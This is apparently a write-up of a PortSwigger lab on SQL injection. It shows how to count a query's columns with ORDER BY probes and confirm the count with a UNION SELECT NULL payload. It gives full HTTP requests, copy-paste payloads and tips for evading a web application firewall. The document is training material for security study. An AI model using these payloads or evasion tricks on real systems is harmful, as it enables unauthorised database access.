SQL injection UNION attack, determining the number of columns returned by the query
SQL injection UNION attack, determining the number of columns returned by the query: The category filter is vulnerable to SQL injection and reflects results, so I can use a UNION probe to determine the number of columns returned by the underlying query. Once I know the column count, I can craft proper UNION payloads in later labs. • PortSwigger • SQL injection • sql-injection
🎯 Objective
The category filter is vulnerable to SQL injection and reflects results, so I can use a UNION probe to determine the number of columns returned by the underlying query. Once I know the column count, I can craft proper UNION payloads in later labs.
🧭 Step 1 — Column count via ORDER BY
Increment ORDER BY n until the app errors. In my case, going over 3 produced a 500, which implies the real select has 3 columns.
Request
GET /filter?category=Pets'+ORDER+BY+3+-- HTTP/1.1
Host: 0ad0002a04e0257bc0145e4500400046.web-security-academy.net
Cookie: session=D6sQDex4UcG1EBM1giX7IcX5fwIAC33M
...If
ORDER BY 4throws an error whileORDER BY 3works, then 3 columns is your count.
✅ Step 2 — Confirm with UNION NULLs
Use a UNION SELECT with exactly the same number of columns, filled with NULL. If the column count matches and types are compatible, the page should render without a DB error.
Request
GET /filter?category=Pets'+UNION+SELECT+NULL,NULL,NULL-- HTTP/1.1
Host: 0ad0002a04e0257bc0145e4500400046.web-security-academy.net
Cookie: session=D6sQDex4UcG1EBM1giX7IcX5fwIAC33M
...This confirms the query returns 3 columns and accepts a unioned row of NULLs.
🧾 Copy‑paste payloads
ORDER BY probe
.../filter?category=Pets'+ORDER+BY+1+--
.../filter?category=Pets'+ORDER+BY+2+--
.../filter?category=Pets'+ORDER+BY+3+--UNION NULLs (3 columns)
.../filter?category=Pets'+UNION+SELECT+NULL,NULL,NULL--URL‑encoding tips
'→%27- space →
+or%20 --often needs a trailing space: use--+
🧪 Troubleshooting
- Error even with correct count? One or more columns may be non‑nullable or type‑restricted. Replace some
NULLwith benign text/ints as needed (e.g.,'a',0). - Only one column renders visually: That’s fine; you only need the backend to accept the UNION.
- WAF noise: Try case changes (
UnIoN SeLeCt), inline comments (UNI/**/ON), or encoding.
✅ Result
- Determined the query returns 3 columns.
- Verified with
UNION SELECT NULL,NULL,NULL--. - Ready to craft targeted UNION payloads in subsequent labs.